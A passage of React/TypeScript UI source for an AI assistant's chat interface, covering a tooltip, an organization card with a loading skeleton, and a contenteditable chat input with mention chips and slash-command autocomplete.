tooltip inherits\n  // its stacking context; falls back to `document.body` when none is provided.\n  const container = usePortalContainer()\n  return (\n  <TooltipPrimitive.Portal container={container ?? undefined}>\n    <TooltipPrimitive.Content\n      ref={ref}\n      sideOffset={sideOffset}\n      className={cn(\n        // `max-h` uses Radix's available-height var so tall content scrolls inside\n        // the tooltip instead of overflowing off-screen (only engages on overflow).\n        \"z-[1400] max-h-[var(--radix-popper-available-height)] overflow-y-auto rounded-md bg-ods-card border border-ods-border px-3 py-2 text-h6 text-ods-text-primary shadow-lg animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2\",\n        className\n      )}\n      {...props}\n    />\n  </TooltipPrimitive.Portal>\n  )\n})\nTooltipContent.displayName = TooltipPrimitive.Content.displayName\n\nexport { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider }","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { ExternalLinkIcon } from '../icons-v2-generated'\nimport { Button } from '../ui/button'\nimport { SquareAvatar } from '../ui/square-avatar'\n\nexport interface MspOrganizationCardProps {\n  /** MSP/organization name. Woven into the default title: \"Your IT is managed by {name}\". */\n  name: string\n  /** Organization website shown beneath the title (e.g. \"www.techflow.com\"). */\n  website?: string\n  /** Organization logo URL. Falls back to initials derived from `name` when absent. */\n  logoUrl?: string\n  /** Full title override. Defaults to `Your IT is managed by {name}`. */\n  title?: React.ReactNode\n  /**\n   * Website link. When set, the trailing action renders as an anchor\n   * (`<a href target=\"_blank\">`). Takes precedence over `onOpenWebsite`.\n   */\n  href?: string\n  /** Click handler for the trailing action (used when `href` is not set). */\n  onOpenWebsite?: () => void\n  /** Appended to the root element. */\n  className?: string\n}\n\n/**\n * MSP Organization card for the AI Assistant welcome screen.\n *\n * A horizontal card — square org logo, \"Your IT is managed by {name}\" title with\n * the website beneath, and a trailing external-link button — so users can confirm\n * which organization they are signing into. Mirrors Figma `openframe — fae-chat`\n * (node 1:5540) using ODS tokens.\n *\n * The trailing button renders only when `href` or `onOpenWebsite` is provided:\n * `href` becomes an anchor (new tab), otherwise `onOpenWebsite` fires on click.\n */\nexport function MspOrganizationCard({\n  name,\n  website,\n  logoUrl,\n  title,\n  href,\n  onOpenWebsite,\n  className,\n}: MspOrganizationCardProps) {\n  const actionLabel = website ? `Open ${website}` : 'Open organization website'\n\n  return (\n    <div\n      className={cn(\n        // Inset ring (box-shadow) instead of `border` so the 1px stroke does not\n        // add to the box height — matches Figma's 80px frame (16 + 48 + 16) with\n        // its inside-aligned stroke. A real border would render 82px.\n        'flex items-start gap-[var(--spacing-system-m)] rounded-md bg-ods-bg p-[var(--spacing-system-m)] ring-1 ring-inset ring-ods-border',\n        className,\n      )}\n    >\n      <SquareAvatar src={logoUrl} alt={name} fallback={name} size=\"lg\" variant=\"square\" />\n\n      <div className=\"flex min-w-0 flex-1 flex-col\">\n        <span className=\"truncate text-h3 text-ods-text-primary\">{title ?? `Your IT is managed by ${name}`}</span>\n        {website ? <span className=\"truncate text-h4 text-ods-text-secondary\">{website}</span> : null}\n      </div>\n\n      {href ? (\n        <Button asChild variant=\"outline\" size=\"icon\" aria-label={actionLabel}>\n          <a href={href} target=\"_blank\" rel=\"noreferrer noopener\">\n            <ExternalLinkIcon />\n          </a>\n        </Button>\n      ) : onOpenWebsite ? (\n        <Button variant=\"outline\" size=\"icon\" aria-label={actionLabel} onClick={onOpenWebsite}>\n          <ExternalLinkIcon />\n        </Button>\n      ) : null}\n    </div>\n  )\n}\n","'use client'\n\nimport { cn } from '../../utils/cn'\nimport { Skeleton } from '../ui/skeleton'\n\nexport interface MspOrganizationCardSkeletonProps {\n  /** Appended to the root element. */\n  className?: string\n}\n\n/**\n * Loading placeholder for {@link MspOrganizationCard}. Mirrors the card's blocks\n * — square logo, title + website lines, and the trailing external-link button —\n * inside the same 80px container, so the welcome screen doesn't shift once the\n * tenant info resolves and the real card replaces it.\n */\nexport function MspOrganizationCardSkeleton({ className }: MspOrganizationCardSkeletonProps) {\n  return (\n    <div\n      className={cn(\n        'flex items-start gap-[var(--spacing-system-m)] rounded-md bg-ods-bg p-[var(--spacing-system-m)] ring-1 ring-inset ring-ods-border',\n        className,\n      )}\n    >\n      <Skeleton className=\"size-12 shrink-0 rounded-md\" />\n      <div className=\"flex min-w-0 flex-1 flex-col justify-center gap-2 self-stretch\">\n        <Skeleton className=\"h-5 w-3/5 rounded-md\" />\n        <Skeleton className=\"h-4 w-2/5 rounded-md\" />\n      </div>\n      <Skeleton className=\"size-12 shrink-0 rounded-md\" />\n    </div>\n  )\n}\n","\"use client\"\n\nimport { useState, useRef, useImperativeHandle, forwardRef, useCallback, useEffect, useMemo, type ReactNode, type KeyboardEvent, type ClipboardEvent } from \"react\"\nimport { renderToStaticMarkup } from \"react-dom/server\"\nimport { cn } from \"../../utils/cn\"\nimport { Send01Icon, StopCircleIcon } from \"../icons-v2-generated\"\nimport { Tag } from \"../ui/tag\"\nimport { ChatTypingIndicator } from \"./chat-typing-indicator\"\nimport { SlashCommandSuggestions } from \"./slash-command-suggestions\"\nimport type { ChatInputProps, ChatInputRef, MentionMeta, SlashCommandSummary } from \"./types\"\n\n/** SHARED with `lib/config/slash-commands-config.ts` AND the chat-route slash\n *  dispatch parser. Keep all three in sync. */\nconst SLASH_INPUT_TRIGGER = /^\\/([a-z][a-z0-9-]*)?$/\n\n/** A committed `@`-mention serializes into the draft text as `@<marker>:<id>`\n *  (id charset allows `+ / = . -` for base64 Relay global ids). The editor\n *  renders each such token as an inline chip; the serialized string keeps the\n *  literal token so the host's `@type:id` reconciliation + send payload are\n *  unchanged. */\nconst MENTION_GLOBAL = /@[A-Za-z0-9_.+/=-]+:[A-Za-z0-9_.+/=-]+/g\n/** The IN-PROGRESS trigger being typed — `@` + search string at the END of the\n *  draft, preceded by start-of-text or whitespace (so emails never fire). */\nconst MENTION_TRIGGER_AT_END = /(^|\\s)@([\\w.-]*)$/\n\ntype Segment = { kind: 'text'; text: string } | { kind: 'mention'; token: string; label: string; icon?: ReactNode }\n\nfunction parseSegments(value: string, meta: Map<string, MentionMeta>): Segment[] {\n  const segs: Segment[] = []\n  let last = 0\n  MENTION_GLOBAL.lastIndex = 0\n  let m: RegExpExecArray | null\n  while ((m = MENTION_GLOBAL.exec(value)) !== null) {\n    if (m.index > last) segs.push({ kind: 'text', text: value.slice(last, m.index) })\n    const token = m[0].slice(1)\n    const info = meta.get(token)\n    segs.push({ kind: 'mention', token, label: info?.label ?? token.slice(token.indexOf(':') + 1), icon: info?.icon })\n    last = m.index + m[0].length\n  }\n  if (last < value.length) segs.push({ kind: 'text', text: value.slice(last) })\n  return segs\n}\n\nconst isChip = (n: Node): n is HTMLElement => n.nodeType === 1 && (n as HTMLElement).dataset?.token !== undefined\n\n/** Serialize the editor DOM back to the draft string: text nodes verbatim,\n *  mention chips → `@<token>`, browser-inserted `<br>` ignored (newlines live as\n *  literal `\\n` text via `white-space: pre-wrap`). Chips are atomic\n *  (`contentEditable=false`) so we never descend into their inner markup. */\nfunction serialize(el: HTMLElement): string {\n  let out = ''\n  for (const node of Array.from(el.childNodes)) {\n    if (node.nodeType === Node.TEXT_NODE) out += node.textContent ?? ''\n    else if (isChip(node)) out += `@${(node as HTMLElement).dataset.token}`\n    else if ((node as HTMLElement).tagName === 'BR') continue\n    else out += node.textContent ?? ''\n  }\n  return out\n}\n\n/** Build a mention chip as a plain (React-free) DOM node — the editor is an\n *  UNCONTROLLED contenteditable, so chips must be real DOM the browser owns\n *  (atomically deletable, never reconciled by React). We REUSE the lib `Tag`\n *  (`variant=\"badge\"` + its built-in `onClose` ⊗) by rendering it to static\n *  markup; the outer wrapper carries `data-token`/`contenteditable=false`, and\n *  the close button is wired via a delegated click on the editor (events don't\n *  survive static markup). */\nfunction buildChipEl(token: string, label: string, icon?: ReactNode): HTMLElement {\n  const span = document.createElement('span')\n  span.dataset.token = token\n  span.setAttribute('contenteditable', 'false')\n  // Center the chip in its line box DETERMINISTICALLY (independent of font\n  // metrics): `vertical-align: middle` references the text baseline + x-height,\n  // not the geometric line-box center, so it leaves the chip ~2px low. Instead\n  // make the wrapper exactly one line box tall (`h-9` == editor `leading-9`,\n  // 36px) and `align-top` (pure geometric: wrapper top == line-box top, no\n  // baseline offset), then center the shorter chip inside via `items-center`.\n  span.className = 'mx-0.5 inline-flex h-9 items-center select-none align-top'\n  span.innerHTML = renderToStaticMarkup(\n    <Tag\n      as=\"span\"\n      variant=\"badge\"\n      icon={icon}\n      label={label}\n      onClose={() => {}}\n      // Match the context-chip pill, not the badge defaults: muted (grey) lead\n      // icon + ⊗ instead of white (`text-ods-text-primary` stays on the label\n      // only), and NO accent-yellow border on hover.\n      className=\"max-w-[16rem] hover:border-ods-border [&_svg]:text-ods-text-secondary\"\n    />,\n  )\n  return span\n}\n\n/** Replace the editor's content with text nodes + chips parsed from `value`. */\nfunction rebuildDom(el: HTMLElement, value: string, meta: Map<string, MentionMeta>): void {\n  el.replaceChildren()\n  for (const seg of parseSegments(value, meta)) {\n    if (seg.kind === 'text') el.appendChild(document.createTextNode(seg.text))\n    else el.appendChild(buildChipEl(seg.token, seg.label, seg.icon))\n  }\n}\n\nfunction placeCaretAtEnd(el: HTMLElement): void {\n  const sel = typeof window !== 'undefined' ? window.getSelection() : null\n  if (!sel) return\n  const range = document.createRange()\n  range.selectNodeContents(el)\n  range.collapse(false)\n  sel.removeAllRanges()\n  sel.addRange(range)\n}\n\n/** Place the caret at a character offset in a PLAIN-text editor (no chips) —\n *  used only by `setValueAndCursor` (slash prefill). */\nfunction placeCaretAtOffset(el: HTMLElement, offset: number): void {\n  const sel = typeof window !== 'undefined' ? window.getSelection() : null\n  if (!sel) return\n  const node = el.firstChild\n  const range = document.createRange()\n  if (node && node.nodeType === Node.TEXT_NODE) {\n    range.setStart(node, Math.max(0, Math.min(offset, node.textContent?.length ?? 0)))\n    range.collapse(true)\n  } else {\n    range.selectNodeContents(el)\n    range.collapse(false)\n  }\n  sel.removeAllRanges()\n  sel.addRange(range)\n}\n\n/** Insert plain text at the caret as a real text node (paste / Shift+Enter), so\n *  no `<br>`/`<div>` ever enters the DOM and serialization stays deterministic. */\nfunction insertTextAtCaret(text: string): void {\n  const sel = typeof window !== 'undefined' ? window.getSelection() : null\n  if (!sel || sel.rangeCount === 0) return\n  const range = sel.getRangeAt(0)\n  range.deleteContents()\n  const tn = document.createTextNode(text)\n  range.insertNode(tn)\n  range.setStartAfter(tn)\n  range.collapse(true)\n  sel.removeAllRanges()\n  sel.addRange(range)\n}\n\nconst ChatInput = forwardRef<ChatInputRef, ChatInputProps>((allProps, ref) => {\n  const { slashCommands, ...rest } = allProps\n  const {\n    className,\n    onSend,\n    onStop,\n    sending = false,\n    awaitingResponse = false,\n    placeholder = \"Enter your Request...\",\n    reserveAvatarOffset: _reserveAvatarOffset,\n    disabled = false,\n    autoFocus = false,\n    fullWidth = false,\n    allowEmptySend = false,\n    onMentionQueryChange,\n    onValueChange,\n    startIcon,\n    hideBorder,\n    previewText,\n    // Remaining textarea-only attrs are intentionally dropped — the editor is a\n    // contenteditable div, not a <textarea>, so spreading them would warn.\n  } = rest as typeof rest & { rows?: number }\n\n  const [value, setValue] = useState('')\n  // Whether the editor currently holds at least one committed mention chip —\n  // it alone needs the tall line box (see the editor's className). Read from the\n  // DOM, NOT by testing the draft against `MENTION_GLOBAL`: that regex also\n  // matches ordinary typed text (`meet @3:00`, `@prod:us-east`), which would\n  // switch the editor to a 36px line box with no chip on screen. Chips are only\n  // ever created by `rebuildDom`, so the two writers below cover every path.\n  const [hasChips, setHasChips] = useState(false)\n  const [focused, setFocused] = useState(false)\n  const [isStopping, setIsStopping] = useState(false)\n  // The ghost preview is dismissed as soon as the user edits the draft (typing\n  // into the preview-hidden editor), so their input is never hidden behind a\n  // stale preview. Re-armed on the next hover (when `previewText` changes).\n  const [previewDismissed, setPreviewDismissed] = useState(false)\n  const editorRef = useRef<HTMLDivElement>(null)\n  const shouldRefocusRef = useRef(false)\n  const prevSendingRef = useRef(sending)\n  const prevAwaitingResponseRef = useRef(awaitingResponse)\n  const isComposingRef = useRef(false)\n  // Live mirror of the value + committed-chip meta for sync reads inside the\n  // stable imperative handle (no rebuild of the handle per keystroke).\n  const valueRef = useRef(value)\n  valueRef.current = value\n  const metaRef = useRef<Map<string, MentionMeta>>(new Map())\n\n  const focusEditor = useCallback(() => {\n    if (disabled) return\n    editorRef.current?.focus({ preventScroll: true })\n  }, [disabled])\n\n  useEffect(() => {\n    if (autoFocus) focusEditor()\n  }, [autoFocus, focusEditor])\n\n  // Surface every value change (typed or imperative) so the composer reconciles\n  // `@type:id` mention chips with the context items.\n  useEffect(() => {\n    onValueChange?.(value)\n  }, [value, onValueChange])\n\n  // A fresh hover (new `previewText`) re-arms the preview…\n  useEffect(() => {\n    setPreviewDismissed(false)\n  }, [previewText])\n\n  // …and any draft edit while a preview is showing dismisses it immediately, so\n  // keystrokes into the (preview-hidden) editor become visible at once. Keyed on\n  // `value` only — including `previewText` here would re-dismiss on every hover.\n  // eslint-disable-next-line react-hooks/exhaustive-deps\n  useEffect(() => {\n    if (previewText) setPreviewDismissed(true)\n  }, [value])\n\n  // Apply a NEW draft value to BOTH the DOM (imperative rebuild) and state. Used\n  // by every imperative mutation (commit, setValue, clear, remove). Typing does\n  // NOT go through here — the browser owns the DOM and we only read it back.\n  const applyValue = useCallback((next: string, caret: 'end' | number = 'end') => {\n    const el = editorRef.current\n    if (el) {\n      rebuildDom(el, next, metaRef.current)\n      if (document.activeElement === el || caret === 'end') {\n        if (typeof caret === 'number') placeCaretAtOffset(el, caret)\n        else placeCaretAtEnd(el)\n      }\n      setHasChips(el.querySelector('[data-token]') !== null)\n    }\n    // Advance the mirror HERE, not only on the next render: `fire` clears the\n    // draft and then reads it back within the same tick to decide whether a\n    // refused send may restore it.\n    valueRef.current = next\n    setValue(next)\n  }, [])\n\n  // ── send ──────────────────────────────────────────────────────────────────\n  const fire = useCallback(\n    (message: string) => {\n      const can = (message.length > 0 || allowEmptySend) && !sending && !disabled\n      if (!can || !onSend) return\n      // Clear FIRST and put it back only if the host refuses, rather than\n      // clearing once the send settles. The editor stays typable while `sending`\n      // (see `contentEditable` below), and a host whose `onSend` is async —\n      // `TicketReplyComposer` awaits a round trip — leaves a window in which the\n      // user starts their next message; a deferred clear would silently delete\n      // it. Restoring is guarded on the box still being empty for the same\n      // reason. `applyValue` advances `valueRef` synchronously, so the guard\n      // reads the cleared draft even when `onSend` refuses in the same tick.\n      const sentMeta = metaRef.current\n      metaRef.current = new Map()\n      applyValue('')\n      shouldRefocusRef.current = true\n      focusEditor()\n      const restore = () => {\n        if (valueRef.current.length > 0) return\n        metaRef.current = sentMeta\n        applyValue(message)\n      }\n      const result = onSend(message)\n      if (result instanceof Promise) {\n        void result.then((ok) => {\n          if (ok === false) restore()\n        })\n      } else if (result === false) {\n        restore()\n      }\n    },\n    [allowEmptySend, sending, disabled, onSend, focusEditor, applyValue],\n  )\n\n  const handleSubmit = useCallback(() => {\n    fire(valueRef.current.trim())\n  }, [fire])\n\n  useImperativeHandle(\n    ref,\n    (): ChatInputRef => ({\n      focus: () => focusEditor(),\n      blur: () => editorRef.current?.blur(),\n      clear: () => {\n        metaRef.current = new Map()\n        applyValue('')\n      },\n      setValue: (next: string) => {\n        applyValue(next)\n        requestAnimationFrame(() => focusEditor())\n      },\n      setValueAndCursor: (next: string, cursorOffset: number) => {\n        applyValue(next, Math.max(0, Math.min(cursorOffset, next.length)))\n        requestAnimationFrame(() => focusEditor())\n      },\n      submit: (next: string) => fire(next.trim()),\n      getValue: () => valueRef.current,\n      removeMentionTrigger: () => {\n        applyValue(valueRef.current.replace(MENTION_TRIGGER_AT_END, '$1'))\n      },\n      commitMention: (token: string, meta?: MentionMeta) => {\n        // Multi-select: replace the trailing `@query` being typed with the\n        // committed `@<token> ` (+ trailing space → dismisses the trigger so the\n        // picker closes; also gives the caret a text node to land in after the\n        // chip). Prior committed mentions stay — several chips coexist.\n        if (meta) metaRef.current = new Map(metaRef.current).set(token, meta)\n        const v = valueRef.current\n        const next = MENTION_TRIGGER_AT_END.test(v)\n          ? v.replace(MENTION_TRIGGER_AT_END, `$1@${token} `)\n          : `${v}${v.length > 0 && !v.endsWith(' ') ? ' ' : ''}@${token} `\n        applyValue(next)\n        requestAnimationFrame(() => focusEditor())\n      },\n    }),\n    [focusEditor, fire, applyValue],\n  )\n\n  // ── `@`-mention trigger detection ───────────────────────────────────────────\n  const mentionEnabled = !!onMentionQueryChange\n  const mentionQuery = useMemo(() => {\n    if (!mentionEnabled) return null\n    const m = value.match(MENTION_TRIGGER_AT_END)\n    return m ? (m[2] ?? '') : null\n  }, [value, mentionEnabled])\n\n  useEffect(() => {\n    if (mentionEnabled) onMentionQueryChange?.(mentionQuery)\n  }, [mentionEnabled, mentionQuery, onMentionQueryChange])\n\n  // ── slash-command autocomplete ──────────────────────────────────────────────\n  const slashMatch = useMemo(() => (slashCommands ? value.match(SLASH_INPUT_TRIGGER) : null), [value, slashCommands])\n  const slashPrefix = slashMatch ? (slashMatch[1] ?? '') : null\n  const [slashSuggestions, setSlashSuggestions] = useState<SlashCommandSummary[]>([])\n  const [highlightedIdx, setHighlightedIdx] = useState(0)\n\n  useEffect(() => {\n    if (slashPrefix == null || !slashCommands) {\n      setSlashSuggestions([])\n      return\n    }\n    let cancelled = false\n    const ctrl = new AbortController()\n    const handle = setTimeout(async () => {\n      try {\n        const next = await slashCommands.fetchCommands(slashPrefix, ctrl.signal)\n        if (!cancelled) {\n          setSlashSuggestions(next)\n          setHighlightedIdx(0)\n        }\n      } catch (err) {\n        if (!cancelled && (err as Error)?.name !== 'AbortError') {\n          console.warn('[chat-input] slash-command fetch failed:', err)\n        }\n      }\n    }, 150)\n    return () => {\n      cancelled = true\n      ctrl.abort()\n      clearTimeout(handle)\n    }\n  }, [slashPrefix, slashCommands])\n\n  const acceptSuggestion = useCallback((cmd: SlashCommandSummary) => {\n    metaRef.current = new Map()\n    const next = `/${cmd.id} `\n    applyValue(next, next.length)\n    setSlashSuggestions([])\n    requestAnimationFrame(() => focusEditor())\n  }, [applyValue, focusEditor])\n\n  // ── editor events ───────────────────────────────────────────────────────────\n  const syncFromDom = useCallback(() => {\n    const el = editorRef.current\n    if (!el) return\n    // Typing can DELETE a chip (they are atomic `contentEditable=false` nodes),\n    // so the flag has to be re-read here too, not just where chips are built.\n    setHasChips(el.querySelector('[data-token]') !== null)\n    setValue(serialize(el))\n  }, [])\n\n  const handleInput = useCallback(() => {\n    if (isComposingRef.current) return // mid-IME: the browser owns the DOM\n    syncFromDom()\n  }, [syncFromDom])\n\n  const handlePaste = useCallback((e: ClipboardEvent<HTMLDivElement>) => {\n    e.preventDefault()\n    const text = e.clipboardData.getData('text/plain')\n    if (!text) return\n    insertTextAtCaret(text)\n    syncFromDom()\n  }, [syncFromDom])\n\n  const handleKeyDown = useCallback(\n    (e: KeyboardEvent<HTMLDivElement>) => {\n      if (slashSuggestions.length > 0 && slashPrefix !== null) {\n        if (e.key === 'Escape') { e.preventDefault(); setSlashSuggestions([]); return }\n        if (e.key === 'ArrowDown') { e.preventDefault(); setHighlightedIdx((i) => (i + 1) % slashSuggestions.length); return }\n        if (e.key === 'ArrowUp') { e.preventDefault(); setHighlightedIdx((i) => (i - 1 + slashSuggestions.length) % slashSuggestions.length); return }\n        if (e.key === 'Tab' || (e.key === 'Enter' && !e.shiftKey)) {\n          e.preventDefault()\n          const sel = slashSuggestions[highlightedIdx]\n          if (sel) acceptSuggestion(sel)\n          return\n        }\n      }\n\n      if (mentionQuery !== null) {\n        if (e.key === 'Escape') { e.preventDefault(); applyValue(valueRef.current.replace(MENTION_TRIGGER_AT_END, '$1')); return }\n        if (e.key === 'Enter' && !e.shiftKey) { e.preventDefault(); return }\n      }\n\n      if (e.key === 'Enter') {\n        if (e.shiftKey) {\n          e.preventDefault()\n          insertTextAtCaret('\\n')\n          syncFromDom()\n        } else {\n          e.preventDefault()\n          handleSubmit()\n        }\n      }\n    },\n    [slashSuggestions, slashPrefix, highlightedIdx, acceptSuggestion, handleSubmit, mentionQuery, applyValue, syncFromDom],\n  )\n\n  // Delegated remove: a click on a chip's ⊗ (Tag's `onClose` button, inside a\n  // `[data-token]` wrapper). Strip that token from the draft → value change →\n  // host drops the matching context item.\n  const handleEditorMouseDown = useCallback((e: React.MouseEvent<HTMLDivElement>) => {\n    const target = e.target as HTMLElement\n    const chip = target.closest<HTMLElement>('[data-token]')\n    if (!chip || !target.closest('button')) return\n    e.preventDefault() // keep editor focus; don't move the caret into the chip\n    const token = chip.dataset.token ?? ''\n    const next = valueRef.current\n      .replace(`@${token} `, '')\n      .replace(`@${token}`, '')\n      .replace(/[^\\S\\n]{2,}/g, ' ')\n      .replace(/^[^\\S\\n]+/, '')\n    applyValue(next)\n    requestAnimationFrame(() => focusEditor())\n  }, [applyValue, focusEditor])\n\n  // ── refocus after send/await transitions ────────────────────────────────────\n  useEffect(() => { if (!sending) setIsStopping(false) }, [sending])\n  useEffect(() => {\n    const wasSending = prevSendingRef.current\n    prevSendingRef.current = sending\n    if (wasSending && !sending && shouldRefocusRef.current && !awaitingResponse && !disabled) {\n      shouldRefocusRef.current = false\n      focusEditor()\n    }\n  }, [sending, awaitingResponse, disabled, focusEditor])\n  useEffect(() => {\n    const wasAwaiting = prevAwaitingResponseRef.current\n    prevAwaitingResponseRef.current = awaitingResponse\n    if (wasAwaiting && !awaitingResponse && shouldRefocusRef.current && !disabled) {\n      shouldRefocusRef.current = false\n      const id = requestAnimationFrame(() => focusEditor())\n      return () => cancelAnimationFrame(id)\n    }\n  }, [awaitingResponse, disabled, focusEditor])\n\n  const handleStop = useCallback(async () => {\n    if (!onStop || isStopping) return\n    setIsStopping(true)\n    try {\n      await onStop()\n    } catch {\n      setIsStopping(false)\n    }\n  }, [onStop, isStopping])\n\n  const isStopMode = sending && !!onStop\n  const hasContent = value.trim().length > 0 || allowEmptySend\n  const sendDisabled = sending || disabled || !hasContent\n  const isEmpty = value.length === 0\n  // Non-destructive ghost preview (e.g. a hovered quick-action's full prompt).\n  // Shown whenever a `previewText` is set (even over an existing draft): the\n  // editor's real value is NEVER touched — it's just visually hidden behind the\n  // ghost while previewing, and reappears verbatim once `previewText` clears.\n  // Declarative, no `setValue` / draft save-restore. Suppressed the moment the\n  // user edits the draft (`previewDismissed`) so typing is never hidden.\n  const showPreview = !sending && !disabled && !!previewText && !previewDismissed\n\n  return (\n    <div\n      className={cn(\n        fullWidth ? \"w-full flex-shrink-0\" : \"mx-auto w-full max-w-ods-content-narrow flex-shrink-0\",\n        className,\n      )}\n    >\n      {awaitingResponse ? (\n        <div className=\"relative flex items-center justify-center gap-[var(--spacing-system-xs)] rounded-md bg-ods-card border border-ods-border px-[var(--spacing-system-s)] py-[var(--spacing-system-s)] transition-colors\">\n          <ChatTypingIndicator size=\"sm\" dotClassName=\"bg-ods-text-primary\" />\n          <p className=\"text-h4 text-ods-text-secondary\">Waiting for Technician Response</p>\n        </div>\n      ) : (\n        <div className=\"relative\">\n          <SlashCommandSuggestions\n            commands={slashPrefix !== null ? slashSuggestions : []}\n            highlightedIdx={highlightedIdx}\n            onHover={setHighlightedIdx}\n            onSelect={acceptSuggestion}\n            resolveSourceIcon={slashCommands?.resolveSourceIcon}\n            onAction={slashCommands?.onAction}\n          />\n          {/* biome-ignore lint/a11y/useKeyWithClickEvents: focus proxy for the contenteditable; keyboard users focus the editor directly. */}\n          <div\n            onMouseDown={(e) => {\n              if (e.target === e.currentTarget) {\n                e.preventDefault()\n                focusEditor()\n              }\n            }}\n            className={cn(\n              // `items-center` keeps the empty single-line text AND a mention chip\n              // vertically centered the same way. With a chip in the box, `py-1.5`\n              // (6px) pairs with the editor's `leading-9` (36px) → that row is\n              // 36 + 2*6 = 48px. The 36px line box is just barely above the 32px\n              // chip (incl. its ~3.5px vertical-align overhead), so there's almost\n              // no slack for the chip to drift in → it reads as centered.\n              // A chipless row is shorter than its content box and the `min-h-*`\n              // here is what sets its height: 48px from `md` up, 44px below.\n              \"flex w-full items-center gap-2 px-3 py-1.5 min-h-11 md:min-h-12 cursor-text group transition-colors duration-200\",\n              !hideBorder && \"rounded-[6px] border bg-ods-card border-ods-border\",\n              !hideBorder && (focused ? \"border-ods-accent\" : !disabled && \"hover:bg-ods-bg-hover hover:border-ods-border-hover\"),\n              !hideBorder && disabled && \"!cursor-not-allowed bg-ods-bg\",\n              hideBorder && \"bg-transparent\",\n            )}\n          >\n            {startIcon && <span className=\"flex h-6 shrink-0 items-center\">{startIcon}</span>}\n\n            <div className=\"relative flex-1 min-w-0\">\n              {/* No chip-line override on the placeholder: it only renders while\n                  the draft is EMPTY, so the editor is always on its plain line\n                  box here. */}\n              {isEmpty && !showPreview && (\n                <span className=\"pointer-events-none absolute left-0 top-0 select-none text-h4 text-ods-text-secondary\">\n                  {disabled ? \"Connection lost. Waiting to reconnect...\" : placeholder}\n                </span>\n              )}\n              {/* Ghost preview of a hovered quick-action's prompt. Overlaid like\n                  the placeholder and CLAMPED to one line (truncate): the row's\n                  height must not change on hover. An in-flow multi-line preview\n                  would grow the composer → shift the chip strip up → move the\n                  hovered chip out from under the cursor → hover-end → shrink →\n                  chip back under the cursor — an infinite grow/shrink\n                  oscillation (smeared flicker); an upward overlay would cover\n                  the chips instead. Muted color reads as a preview, not typed\n                  text; clearing `previewText` restores the (opacity-hidden)\n                  editor. */}\n              {showPreview && (\n                <p className={cn(\"pointer-events-none absolute inset-x-0 top-0 m-0 select-none truncate text-h4 text-ods-text-secondary\", hasChips && \"!leading-9\")}>\n                  {previewText}\n                </p>\n              )}\n              {/* UNCONTROLLED contenteditable: React renders it WITHOUT children\n                  and never reconciles its content — all text/chips are managed\n                  imperatively (browser owns typing/delete; we own chip insert). */}\n              {/* biome-ignore lint/a11y/useFocusableInteractive: role=textbox on a contenteditable is focusable. */}\n              {/* biome-ignore lint/a11y/useSemanticElements: contenteditable rich input has no native element. */}\n              <div\n                ref={editorRef}\n                data-editor\n                role=\"textbox\"\n                aria-multiline=\"true\"\n                aria-label={typeof placeholder === 'string' ? placeholder : 'Message'}\n                // `sending` blocks SENDING, never typing. Taking\n                // `contentEditable` away under a focused editor blurs it, and\n                // iOS dismisses the keyboard on blur; restoring it re-establishes\n                // the input session (and the refocus-after-send effect below\n                // re-presents the keyboard once more), so on a phone the keyboard\n                // flashed shut and open again around every send — repeatedly,\n                // because a host's `sending` toggles once per phase of a turn\n                // (`chatLoading` in `embeddable-chat` is `isTyping ||\n                // isCompacting`, and the legacy Mingo page adds dialog creation).\n                // Nothing is lost by staying editable: `fire()` and the send\n                // button are both gated on `sending` already, so a draft typed\n                // while a turn streams simply waits for its turn — Enter is a\n                // no-op until the send button lights back up. Only `disabled` —\n                // the transport is gone — takes the editor out of service.\n                contentEditable={!disabled}\n                suppressContentEditableWarning\n                spellCheck\n                onInput={handleInput}\n                onKeyDown={handleKeyDown}\n                onPaste={handlePaste}\n                onMouseDown={handleEditorMouseDown}\n                onCompositionStart={() => { isComposingRef.current = true }}\n                onCompositionEnd={() => { isComposingRef.current = false; syncFromDom() }}\n                onFocus={() => setFocused(true)}\n                onBlur={() => setFocused(false)}\n                className={cn(\n                  \"max-h-[160px] overflow-y-auto overscroll-contain whitespace-pre-wrap break-words outline-none\",\n                  // While a ghost preview shows, the editor stays IN FLOW (it\n                  // alone drives the row height, which must NOT change on hover —\n                  // see the preview comment above) and is only made transparent;\n                  // the absolutely-positioned single-line preview paints over it.\n                  showPreview && \"opacity-0\",\n                  // WITH chips, `leading-9` (36px) sits just above the 32px chip's\n                  // line-box need (~35.5px incl. vertical-align overhead): the LINE\n                  // drives row height (deterministic 48px, no overflow) AND the\n                  // near-zero slack keeps the chip centered against the `align-top`\n                  // `h-9` wrapper `buildChipEl` gives it. ~4px gap between wrapped\n                  // chip rows.\n                  // WITHOUT chips there is nothing tall to center, and forcing the\n                  // same 36px box on 14px phone text (`text-h4`) put a blank line's\n                  // worth of air between every wrapped row — so plain drafts keep\n                  // `text-h4`'s own responsive line-height (20px / 24px at md).\n                  // `min-h-*` pins the single-line box even when EMPTY: a\n                  // non-editable (`contentEditable=false`, i.e. `disabled`) empty div\n                  // would otherwise collapse to 0px, and `items-center` would\n                  // re-center the shorter wrapper in the row — dropping the `top-0`\n                  // placeholder down.\n                  \"text-h4 text-ods-text-primary\",\n                  hasChips ? \"min-h-9 !leading-9\" : \"min-h-[var(--font-line-space-h4-body)]\",\n                  \"scrollbar-thin scrollbar-track-transparent scrollbar-thumb-ods-border/30 hover:scrollbar-thumb-ods-text-secondary/30\",\n                  disabled && \"cursor-not-allowed\",\n                )}\n              />\n            </div>\n\n            <button\n              type=\"button\"\n              aria-label={isStopMode ? 'Stop generation' : 'Send message'}\n              onClick={isStopMode ? handleStop : handleSubmit}\n              disabled={isStopMode ? isStopping : sendDisabled}\n              className={cn(\n                \"flex h-6 shrink-0 items-center text-ods-text-secondary transition-colors duration-200\",\n                // Focus accent applies to the SEND icon only. Stop stays neutral\n                // regardless of where focus sits — otherwise it reads yellow after\n                // an Enter-send (editor keeps focus) but gray after an approve\n                // click (focus moved to the card button).\n                focused && !isStopMode && \"text-ods-accent\",\n                \"[&_svg]:size-4 md:[&_svg]:size-6\",\n                \"cursor-pointer hover:text-ods-text-primary\",\n                \"focus-visible:outline-none focus-visible:text-ods-accent\",\n                \"disabled:cursor-not-allowed 